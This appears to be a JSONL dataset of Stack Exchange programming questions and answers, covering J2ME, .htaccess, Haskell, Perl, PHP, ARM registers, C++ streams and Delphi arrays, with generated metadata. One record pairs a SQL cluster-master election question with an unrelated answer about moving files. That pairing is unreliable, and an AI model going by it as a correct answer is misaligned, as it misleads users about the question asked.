{"id": "hf_dff8504917a6", "question": "<p>I was wondering if it is possible to tweak the way garbage collector works on JavaMe in order to improve performance somehow(may reducing the number of passages)? I´ve seen some articles about it, but mostly directed Java SE and most of them says GC is highly dependant on the maker. How much would that be.</p>\n", "question_body": "", "answer": "I don't see any possible way to tweak the garbage collection behavior in J2ME.\nIf you have problems with pauses induced by garbage collections, you have to do two things:\nReduce the garbage that your program produces, by re-using objects, and avoid costly things like string concatenations (use StringBuffer instead)\nUse System.gc() to force garbage collection when a little freeze doesn't matter (for example, during the \"loading\" screen of a game), to reduce the odds that the collector process is triggered when it's annoying.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.958562"}
{"id": "hf_bc111faea058", "question": "<p>I have an existing htaccess that works fine:</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{SCRIPT_FILENAME} !-f\nRewriteCond %{SCRIPT_FILENAME} !-d\nRewriteRule (.*) /default.php \nDirectoryIndex index.php /default.php \n</code></pre>\n\n<p>I wish to modify this so that all urls that start with /test/ go to /test/default.php.</p>\n\n<p>Example: <a href=\"http://www.x.com/hello.php\" rel=\"nofollow noreferrer\">http://www.x.com/hello.php</a> -- > <a href=\"http://www.x.com/default.php\" rel=\"nofollow noreferrer\">http://www.x.com/default.php</a>\nExample: <a href=\"http://www.x.com/test/hello.php\" rel=\"nofollow noreferrer\">http://www.x.com/test/hello.php</a> -- > <a href=\"http://www.x.com/test/default.php\" rel=\"nofollow noreferrer\">http://www.x.com/test/default.php</a></p>\n", "question_body": "", "answer": "Basically, just put\n```\n/test/\n```\nin front of your expression. Also, the parentheses are unnecessary here:\n```\n```\nRewriteRule ^/test/ /test/default.php\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:51.982868"}
{"id": "hf_7ca1dcc5848b", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/324311/symbolic-simplification-in-haskell-using-recursion\">Symbolic simplification in Haskell (using recursion?)</a>  </p>\n</blockquote>\n\n\n\n<p>The simplifications I have in mind are</p>\n\n<pre><code>0*e = e*0 = 0\n1*e = e*1 = 0+e = e+0 = e-0 = e\n</code></pre>\n\n<p>and simplifying constant subexpressions, e.g. <code>Plus (Const 1) (Const 2)</code> would become <code>Const 3</code>. I would not expect variables (or variables and constants) to be concatenated: <code>Var \"st\"</code> is a distinct variable from <code>Var \"s\"</code>. </p>\n\n<p>For example <code>simplify(Plus (Var \"x\") (Const 0))= Var \"x\"</code></p>\n", "question_body": "", "answer": "Well, can't you apply pattern matching to the individual cases?\n```\n```\nsimplify (Plus (Const 0) (Expr x)) = simplify (Expr x)\nsimplify (Plus (Expr x) (Const 0)) = simplify (Expr x)\nsimplify (Mult (Const 0) _) = Const 0\nsimplify (Mult _ (Const 0)) = Const 0\n– … and so on\n```\n```\nEDIT: Yes, of course … recursion added.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.006612"}
{"id": "hf_c879cc5693f9", "question": "<p>I've been looking into adopting Carbon Emacs for use on my Mac, and the only stumbling block I've run into is the annoying scroll beep when you try to scroll past the end of the document. I've looked online but I can't seem to find what I should add to my .emacs that will stop it from beeping when scrolling. I don't want to silence it completely, just when scrolling. Any ideas?</p>\n", "question_body": "", "answer": "You will have to customize the\n```\nring-bell-function\n```\n.\nThis page may provide hints:\nhttp://www.emacswiki.org/emacs/AlarmBell", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.043922"}
{"id": "hf_cb5d5c87316d", "question": "<p>How can I display something over all other application. I want to to display something over all form of my program and all other programs open on my desktop (not mine).</p>\n\n<p><strong>*Top Most doesn't work I have tested and my browser can go OVER my application :S</strong></p>\n\n<p>Here is an image of when I use TopMost to TRUE. You can see my browser is over it...</p>\n\n<p><a href=\"http://www.freeimagehosting.net/uploads/5a98165605.png\" rel=\"noreferrer\">http://www.freeimagehosting.net/uploads/5a98165605.png</a></p>\n", "question_body": "", "answer": "You can use the form instance and set the property\nTopMost\nto True.\nIf you want to be over all Windows, there are another way with\nWin32 Api\ncalls.\nHere is what you could do:\nIn your form class add :\n```\n```\n[System.Runtime.InteropServices.DllImport(\"user32.dll\")]\npublic static extern bool SetForegroundWindow(IntPtr hWnd);\n```\n```\nIn the form load you can add :\n```\n```\nSetForegroundWindow(this.Handle);\n```\n```\nThis should do the trick.\nUpdate\nTopMost\nshould do the job BUT: Top most OR/AND the Win32 Api call will only work not inside Visual Studio (well for Vista and with VS2008 I tested it... I can't tell for other). Try running the program with the .Exe from the /bin directory, it will works.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.067971"}
{"id": "hf_ba3464c8e656", "question": "<p>I have installed Delphi Prism and XNA Game Studio 3.0. I have managed to translate to Delphi Prism XNA Tutorial 1 \"Displaying a 3D Model on the Screen\" (<a href=\"http://msdn.microsoft.com/en-us/library/bb197293.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/bb197293.aspx</a>). \nProject compiles fine, but I cannot load a model. It looks like there is a new \"contentproj\" type in XNA that is not in Delphi Prism...\nAny idea how to get it to work?</p>\n", "question_body": "", "answer": "I haven't done any XNA stuff yet, but here is my best guess :-)\nSo, the Content Project type is a sub-project for a standard XNA project that just compiles the game content (textures, sound etc) as a nested compile process, correct?\nSo I would assume that there must be some reference to the sub-project in either the project file or the solution file, perhaps the best way would be to create a simple XMA proj in C# or VB and look at the generated meta-files (csproj, contentproj etc)\nEdit:\nOh, I'm suggesting here that you manually create the contentproj file and insert the reference, once you know what they look like, I assume that VS will then allow you to add, delete your content etc\nThat then just leaves the question of how is the XNA content pipeline compile process is fired, if it doesn't \"just happen\" that might be a question for marc hoffman et al\nHope this helps a little, its just a guess.\nGood to see you in StackOverFlow by the way.\nRgds Tim Jarvis.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.091498"}
{"id": "hf_dfabd9218c3f", "question": "<p>I would like to return a string with all of the contents of a CSS rule, like the format you'd see in an inline style. I'd like to be able to do this without knowing what is contained in a particular rule, so I can't just pull them out by style name (like <code>.style.width</code> etc.) </p>\n\n<p>The CSS:</p>\n\n<pre><code>.test {\n    width:80px;\n    height:50px;\n    background-color:#808080;\n}\n</code></pre>\n\n<p>The code so far:</p>\n\n<pre><code>function getStyle(className) {\n    var classes = document.styleSheets[0].rules || document.styleSheets[0].cssRules\n    for(var x=0;x&lt;classes.length;x++) {\n        if(classes[x].selectorText==className) {\n            //this is where I can collect the style information, but how?\n        }\n    }\n}\ngetStyle('.test')\n</code></pre>\n", "question_body": "", "answer": "//works in IE, not sure about other browsers...\n```\n```\nalert(classes[x].style.cssText);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.154471"}
{"id": "hf_2c7b2fc02140", "question": "<p>Earlier versions of the Notes client would automatically turn a <em>sent</em> URL into a clickable link for the recipient (regardless of mail client) but with 6.5 (and presumably later) this no longer happens; that is, the URL is sent as plain text. The Notes UI allows it to be done via the Create->Hotspot->Link Hotspot menu but this gets tedious.</p>\n\n<p>I'm looking for a way to create a Link Hotspot in LotusScript. My research to date leads me to believe that this isn't possible but there may be a hack of some kind.</p>\n", "question_body": "", "answer": "The automatic conversion of urls into clickable links is a user preference.\nIn 6.5 it is set via File/Preferences/User Preferences/Basics.  In 8 it is set via File/Prefences/Basic Notes Client Config.\nI don't think you can create a url link hotspot explicitly using lotusscript.  You can create a doc link, but there is no obvious way to turn it into a url link.\nYou could try an approach where the form is set to render passthrough html on the client and then construct the relevant html for a link.\nUpdate in response to comment.\nThe scenario is that we want to to control what a user receiving mail sees.  We have a few cases we should think about.\nThe recipient is using Notes and received the mail directly via notes to notes routing.\nThe recipient is out on the internet using any client and allows email in a rich format.\nThe recipient is out on the internet using any client and only allows email in plain text.\nIn the first case the user will see links if they turn on the option for that.  You could also create pass-through html in the rich text and that will render on the Notes client assuming the form option is set in the design.  If it's straight email and you don't really need any other rich Notes features you could also construct a  MIME message.\nIn the next two cases you just want to send properly formatted MIME messages.  In the first of those cases the user will accept rich formatting and therefore you can construct the message as simple html and include links that way.  In the second case the user will not, and you have to make do with plain text.  Luckily most mail clients will automatically turn urls received in plain text messages into links for you.  This may be an option as in the Notes client.\nIt is best practice when sending rich mail content to also include a MIME section for plain text.  That way you don't need to care what version the user prefers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.177978"}
{"id": "hf_194171c2aee6", "question": "<p>I am working on a calculator that allows you to perform calculations past the decimal point in octal, hexadecimal, binary, and of course decimal. I am having trouble though finding a way to convert floating point decimal numbers to floating point hexadecimal, octal, binary and vice versa. </p>\n\n<p>The plan is to do all the math in decimal and then convert the result into the appropriate number system. Any help, ideas or examples would be appreciated. </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Hmm... this was a homework assignment in\nmy\nuniversity's CS \"weed-out\" course.\nThe operations for binary are described in\nSchaum's Outline Series: Essential Computer Mathematics\nby Seymour Lipschutz.  For some reason it is still on my bookshelf 23 years later.\nAs a hint, convert octal and hex to binary, perform the operations, convert back to binary.\nOr you can perform decimal operations and perform the conversions to octal/hex/binary afterward.  The process is essentially the same for all positional number systems arithmetic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.202019"}
{"id": "hf_1126646edd83", "question": "<p>Im trying to generate views in unit tests but i can't get around the missing VirtualPathProvider. Most viewengines use the VirtualPathProviderViewEngine base class that gets the provider from the current HostingEnvironment.</p>\n\n<pre><code>protected VirtualPathProvider VirtualPathProvider {\n    get {\n        if (_vpp == null) {\n            _vpp = HostingEnvironment.VirtualPathProvider;\n        }\n        return _vpp;\n    }\n    set {\n        _vpp = value;\n    }\n}\n</code></pre>\n\n<p>In unit tests there is no HostingEnvironment, even if i create one there is no current VirtualPathProvider. </p>\n\n<p>How can i workaround this problem? Do i have to create a custom FakeWebFormViewEngine?</p>\n", "question_body": "", "answer": "I tried to do this as well.  Unfortunately, it is not just the VirtualPathProvider (VPP) that is the problem.  The VPP is used to map the view or partial view to a physical path to determine the existance of the file.  Unfortunately, the ViewContext ends up with the virtualpath, not the physical path, so when the view is rendered the Builder uses properties of the HostingEvnironment which does not exist.\nIf you are using a version of Visual Studio with Testing, then you could use a Web Unit Test.  This will allow you to use the browser to call the URL and then parse the response to check for values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.225724"}
{"id": "hf_87d3b630932c", "question": "<p>Given:</p>\n\n<pre><code>my @mylist1;\npush(@mylist1,\"A\");\npush(@mylist1,\"B\");\npush(@mylist1,\"C\");\n\nmy @mylist2;\npush(@mylist2,\"A\");\npush(@mylist2,\"D\");\npush(@mylist2,\"E\");\n</code></pre>\n\n<p>What's the quickest way in Perl to insert in mylist2 all elements that are in mylist1 and not already in mylist2 (ABCDE). </p>\n", "question_body": "", "answer": "```\n```\nmy %k;\nmap { $k{$_} = 1 } @mylist1;\nmap { $k{$_} = 1 } @mylist2;\n@mylist2 = keys %k;\n```\n```\nAlternatively:\n```\n```\nmy %k;\nmap { $k{$_} = 1 } @mylist2;\npush(@mylist2, grep { !exists $k{$_} } @mylist1);\n```\n```\nActually - these might be wrong because they don't account for whether duplicates might exist in either of the original lists.\nYou didn't say in your question whether the lists are supposed to represent sets (which can't contain duplicates) or just plain lists.  That you effectively want\n```\n@mylist2 = @mylist1 U @mylist2\n```\nsuggests that you are treating them as sets.\nEDIT: changed increment to assign - saves a read of the hash value", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.261256"}
{"id": "hf_9c3f6842c07f", "question": "<p>I have the following problem:</p>\n\n<pre><code>  # line is a line from a file that contains [\"baa\",\"beee\",\"0\"]\n  line = TcsLine.split(\",\")\n  NumPFCs = eval(line[2])\n  if NumPFCs==0:\n     print line\n</code></pre>\n\n<p>I want to print all the lines from the file if the second position of the list has a value == 0.</p>\n\n<p>I print the lines but after that the following happens:\nTraceback (most recent call last):</p>\n\n<p>['baaa', 'beee', '0', '\\n']</p>\n\n<p><strong><em>BUT after I have the next ERROR</em></strong></p>\n\n<pre><code>ilation.py\", line 141, in ?\n    getZeroPFcs()\nilation.py\", line 110, in getZeroPFcs\n    NumPFCs = eval(line[2])\n  File \"&lt;string&gt;\", line 0\n</code></pre>\n\n<p>Can you please help me?\nthanks</p>\n\n<p>What0s</p>\n", "question_body": "", "answer": "Your question is kind of hard to read, but using eval there is definitely not a good idea.  Either just do a direct string comparison:\n```\n```\nline=TcsLine.split(\",\")\nif line[2] == \"0\":\n    print line\n```\n```\nor use int\n```\n```\nline=TcsLine.split(\",\")\nif int(line[2]) == 0:\n    print line\n```\n```\nEither way, your bad data will fail you.\nI'd also recomment reading\nPEP 8\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.297004"}
{"id": "hf_3017173dfecf", "question": "<p>For the moment my batch file look like this:</p>\n\n<pre><code>myprogram.exe param1\n</code></pre>\n\n<p>The program starts but the DOS Window remains open. How can I close it?</p>\n", "question_body": "", "answer": "You can use the exit keyword. Here is an example from one of my batch files:\n```\n```\nstart myProgram.exe param1\nexit\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.332917"}
{"id": "hf_eeb4183984a0", "question": "<p>I am trying to set one bindable variable to be bound to another.  Essentially I want to create an alias.  I would give up, but this seems like something that would be good to know.</p>\n\n<p>essentially, I want changes in model.configView to be reflected in view, so that things bound to view.... behave the same as things bound to model.configView... in this example <pre>[Bindable]\nvar view = model.configView;</p>\n\n<p>...\n&lt;mx:Label text=\"{view.lblThisLabel.name}\" />\n</pre></p>\n\n<p>at the moment it does not, and I am getting errors that say \"unable to bind to property 'lblThisLabel' on class 'Object' (class is not an IEventDispatcher)\"</p>\n", "question_body": "", "answer": "Not quite enough code here to really say what's going on, however you have made\n```\nview\n```\nbindable and that does not automatically mean that all of\n```\nview\n```\n's children are bindable.  You'll have to go into\n```\nview\n```\nand make\n```\nlblThisLabel\n```\nbindable too.\nAlso it is hard for the rest of us to know how it works in your head.  Perhaps you should describe that too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.368691"}
{"id": "hf_d03964bdeae0", "question": "<p>I have a trigger in which I want to have a variable that holds an INT I get from a <code>SELECT</code>, so I can use it in two IF statements instead of calling the <code>SELECT</code> twice. How do you declare/use variables in MySQL triggers?</p>\n", "question_body": "", "answer": "```\n```\n`CREATE TRIGGER `category_before_ins_tr` BEFORE INSERT ON `category`\n  FOR EACH ROW\nBEGIN\n    **SET @tableId= (SELECT id FROM dummy LIMIT 1);**\n\nEND;`;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.403744"}
{"id": "hf_7d3b6422a53e", "question": "<p>In C++ often do something like this:</p>\n\n<pre><code>typedef map&lt;int, vector&lt;int&gt; &gt; MyIndexType;\n</code></pre>\n\n<p>Where I then use it like this:</p>\n\n<pre><code>MyIndexType myIndex;\nfor( ... some loop ...)\n{\n  myIndex[someId].push_back(someVal);\n}\n</code></pre>\n\n<p>If there was no entry in the map the code will insert a new empty vector and then append to it.</p>\n\n<p>In Python it would look like this:</p>\n\n<pre><code>myIndex = {}\n\nfor (someId,someVal) in collection:\n   try:\n      myIndex[someId].append(someVal)\n   except KeyError:\n      myIndex[someId] = [someVal]\n</code></pre>\n\n<p>The try except is a bit ugly here. Is there a way to tell the dictionary an object type to insert when a KeyError is encountered at dictionary declaration time?</p>\n", "question_body": "", "answer": "Something like this perhaps:\n```\n```\nmyIndex = {}\nfor (someId,someVal) in collection:\n    myIndex.setdefault(someId, []).append(someVal)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.497748"}
{"id": "hf_f5f6f805ee28", "question": "<p>Some examples I found that apparently worked with older versions of mvc suggest that there was a length parameter of sorts:</p>\n\n<pre><code>&lt;%=Html.TextBox(\"test\", 50)%&gt;\n</code></pre>\n\n<p>But that may have been mistakenly setting the value.</p>\n\n<p>How do this work in the current release? Passing in the style doesn't appear to have any effect.</p>\n", "question_body": "", "answer": "Something like this should work:\n```\n```\n<%=Html.TextBox(\"test\", new { style=\"width:50px\" })%>\n```\n```\nOr better:\n```\n```\n<%=Html.TextBox(\"test\")%>\n\n<style type=\"text/css\">\n    input[type=\"text\"] { width:50px; }     \n</style>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.521200"}
{"id": "hf_46a5fd0814f5", "question": "<p>Is it faster to do the following:</p>\n\n<pre><code> if ($var != 'test1' &amp;&amp; $var != 'test2' &amp;&amp; $var != 'test3' &amp;&amp; $var != 'test4') { ... }\n</code></pre>\n\n<p>Or:</p>\n\n<pre><code> if (!in_array($var, array('test1', 'test2', 'test3', 'test4') { ... }\n</code></pre>\n\n<p>Is there a number of values at which point it's faster to do one or the other?</p>\n\n<p>(In this case, the array used in the second option doesn't alreay exist.)</p>\n", "question_body": "", "answer": "i'd strongly suggest just using\n```\nin_array()\n```\n, any speed difference would be negligible, but the readability of testing each variable separately is horrible.\njust for fun here's a test i ran:\n```\n```\n$array = array('test1', 'test2', 'test3', 'test4');\n$var = 'test';\n$iterations = 1000000;\n\n$start = microtime(true);\nfor($i = 0; $i < $iterations; ++$i) {\n    if ($var != 'test1' && $var != 'test2' && $var != 'test3' && $var != 'test4') {}\n}\n$end = microtime(true);\n\nprint \"Time1: \". ($end - $start).\"<br />\";\n\n$start2 = microtime(true);\nfor($i = 0; $i < $iterations; ++$i) {\n    if (!in_array($var, $array) ) {}\n}\n$end2 = microtime(true);\n\nprint \"Time2: \".($end2 - $start2).\"<br />\";\n\n// Time1: 1.12536692619\n// Time2: 1.57462596893\n```\n```\nslightly trivial note to watch for, if\n```\n$var\n```\nis not set, method 1 takes much longer (depending on how many conditions you test)\nUpdate for newer PHP versions:\nMartijn: I'ved extended the array to\nfive\nelements, and look for\n```\ntest3\n```\n, as sort of an average case.\nPHP5.6\n```\n```\nTime1: 0.20484399795532\nTime2: 0.29854393005371\n```\n```\nPHP7.1\n```\n```\nTime1: 0.064045906066895\nTime2: 0.056781053543091\n```\n```\nPHP7.4\n```\n```\nTime1: 0.048759937286377\nTime2: 0.049691915512085\n```\n```\nPHP8.0\n```\n```\nTime1: 0.045055150985718\nTime2: 0.049431085586548\n```\n```\nConclusion: The original test wasnt the best test, and also: In php7+ is has become a matter of preference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.545321"}
{"id": "hf_a266c4b9017d", "question": "<p>When implementing an +initialize or +load method in one of your Objective-C classes, should you <em>always</em> start with this kind of guard?:</p>\n\n<pre><code>@implementation MyClass\n\n+ (void)initialize {\n    if (self == [MyClass class]) {\n        ...\n    }\n}\n\n...\n@end\n</code></pre>\n\n<p>Seems like code in +load and +initialize usually only wants to be executed once. So this would help avoid dupe execution when subclasses load/initialize.</p>\n\n<p>I guess I'm just wanting some reinforcement from some ObjC wizards that this is necessary/common practice...</p>\n\n<p>What's the common wisdom on this? would you recommend always doing this?</p>\n\n<p>Is your advice the same for both +load and +initialize, or is there a difference in they way they should be handled?</p>\n\n<p>thanks.</p>\n", "question_body": "", "answer": "Yes, you should do this in your intialize and load methods if you are initializing globals that should only be initialized once.\nThat said, there are a number of cases where you may avoid it...\nYou shouldn't wrap with this conditional if the work needs to be performed on every inheritant of every class:\nFor example, adding all inherited class names for each class to a set.\nedited addition:\nor you're establishing KVO dependencies (as mentioned by eJames)\nThere are also situations where you just needn't bother:\nIf the actions you perform are idempotent (don't change values if repeated)\nThe class is \"sealed\" (has no descendants by design)\nThe \"idempotent\" part is relevant. An initializer should just be setting the initial state (which should be the same each time). In a good initializer, repetition shouldn't matter. Although I suppose that if you forget to wrap the method in the conditional when it\ndoes\nmatter, this might be annoying.\nedited addition:\nA different approach, that properly reflects any initialize-only-once requirements would be to test if your properties to initialize are initialized already. i.e.\n```\n```\nid myGlobalObject = nil;\n\n+(void)initialize\n{\n    if (myGlobalObject == nil)\n    {\n        myGlobalObject = [[MyGlobalClass alloc] init];\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.570036"}
{"id": "hf_3e2e314a8250", "question": "<p>I have clustered applications that requires one of the nodes to be designated as the master. The cluster nodes are tracked in a table with <strong>nodeID</strong>, <strong>isMaster</strong>, <strong>lastTimestamp</strong> columns.</p>\n\n<p>Each node in the cluster will try to become a master every <strong>X</strong> seconds. Node can only become a master if either</p>\n\n<ul>\n<li>there is no other master nodes </li>\n<li>the <strong>lastTimestamp</strong> on current master node is older by <strong>2*X</strong></li>\n</ul>\n\n<p>When one of the above conditions is satisfied</p>\n\n<ul>\n<li>the current master node's <strong>isMaster</strong> should be cleared</li>\n<li>the new master node's <strong>isMaster</strong> should be set</li>\n<li>the new master node's <strong>lastTimestamp</strong> should be set to 'now' timestamp.</li>\n</ul>\n\n<p>What is the <strong>single</strong> (portable) SQL statement to achieve the above without the possibility of two or more nodes becoming the master?</p>\n", "question_body": "", "answer": "The normal way of avoiding the \"delete then move fails problem\" is:\nWrite to file.new\nMove file.current to file.old\nMove file.new to file.current\nDelete file.new\nThen when you come to read, use file.new if file.current is missing, deleting file.old if you see it.\nChecking for whether or not the file is available: try opening it for write, but appending to the end. Of course, you'll need to close the handle before you then move it, and in-between someone else could open it - but it would at least be a\nreasonable\noptimisation.\nNot sure about copying summaries etc, I'm afraid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.617563"}
{"id": "hf_c9cd996bd396", "question": "<p>How do I access the user R13 and R14 which are saved when supervisor mode is entered? I am using an ARM7TDMI. </p>\n\n<p>I.E. I do not want to access supervisor R14 which now contains the return address to user mode, instead want the value of user mode's link register. This is part of a debugger I am writing.</p>\n\n<p>Are there special aliases for these registers?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I'll describe the answer for your specific question but the same approach applies to other modes as well.\nYou'll need to change the processor mode by changing the mode bits in the CPSR to system mode.  This will give you access to user mode's SP/LR (R13 & R14).  Remember that system mode is privileged, but its R13 and R14 are the same as user mode's R13 and R14.\nOnce you're in system mode, read R13 and R14 and put them where you want.  Then just switch the mode bits back to your previous mode (I believe that was supervisor mode in your example) and you're good to go.\nNote that we did not switch from supervisor to user mode.\nIf you switched from supervisor to user,\nyou couldn't get back to supervisor mode\n.  (Otherwise there would be no protection from user code escalating privilege).  That's why we used system mode -- system mode is privileged, but the registers are the same as user mode.\nYou can switch between any of the privileged modes at will by manipulating the mode bits in the CPSR.  I think they're the lower 5 bits?  I'm on the road & don't have the info at my fingertips.  Otherwise I would have provided you with the assembly code for what I've described above.  Actually, if you want to put some hair on your chest, take what I've given you above, implement it, test it, and post it back here.  :-D\n(One thing I should add for the \"general case\" (yours is very specific) -- you can examine the SPSR to see \"where you came from\" -- and use that to determine which mode you need to switch to.)\nBy the way, I just did this recently for one of my customers.... small world, I guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.677155"}
{"id": "hf_5fcaaf5b4971", "question": "<p>I'm currently using <code>std::ofstream</code> as follows:</p>\n\n<pre><code>std::ofstream outFile;\noutFile.open(output_file);\n</code></pre>\n\n<p>Then I attempt to pass a <code>std::stringstream</code> object to <code>outFile</code> as follows:</p>\n\n<pre><code>GetHolesResults(..., std::ofstream &amp;outFile){\n  float x = 1234;\n  std::stringstream ss;\n  ss &lt;&lt; x &lt;&lt; std::endl;\n  outFile &lt;&lt; ss;\n}\n</code></pre>\n\n<p>Now my <code>outFile</code> contains nothing but garbage: \"0012E708\" repeated all over.</p>\n\n<p>In <code>GetHolesResults</code> I can write </p>\n\n<pre><code>outFile &lt;&lt; \"Foo\" &lt;&lt; std:endl; \n</code></pre>\n\n<p>and it will output correctly in <code>outFile</code>.</p>\n\n<p>Any suggestion on what I'm doing wrong?</p>\n", "question_body": "", "answer": "You can do this, which doesn't need to create the string. It makes the output stream read out the contents of the stream on the right side (usable with any streams).\n```\n```\noutFile << ss.rdbuf();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.700905"}
{"id": "hf_1573aa2cd937", "question": "<p>I'm developing class to represent special kind of matrix:</p>\n\n<pre><code>type\n  DifRecord = record\n    Field: String;\n    Number: Byte;\n    Value: smallint;\n  end;\n\ntype\n  TData = array of array of MainModule.DataRecord;\n\ntype\n  TDifference = array of DifRecord;\n\ntype\n  TFogelMatrix = class\n  private\n    M: Byte;\n    N: Byte;\n    Data: ^TData;\n    DifVector: ^TDifference;\n    procedure init(); \n  public\n    constructor Create(Rows, Cols: Byte);\n    destructor Destroy;\n  end;\n</code></pre>\n\n<p>Now in constructor I need to reserve memory for Data and DifVector class members. I use pointers to array of records, as you see. So, the main question is, how can I correctly reserve memory? I suppose I can not use something like that:<br>\n<code>new(Data);<br>\nnew(DifVector);<br></code>\ncause I`m loosing the main idea - to reserve memory space, as much as I want to, at run-time. Thanks for comments.</p>\n", "question_body": "", "answer": "Since you're using dynamic arrays,\n```\narray of\n```\n, then you should use SetLength to specify the length of the array, which can be done dynamically.\nie. like this:\n```\n```\nSetLength(Data, 100);\n```\n```\nThis will not reserve 100 bytes, but will reserve enough space to hold 100 elements of whatever type the array holds.\nChange your declarations for the arrays to simple arrays:\n```\n```\nData: TData;\nDifVector: TDifference;\n```\n```\nand use it with SetLength, it should do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:52.747866"}
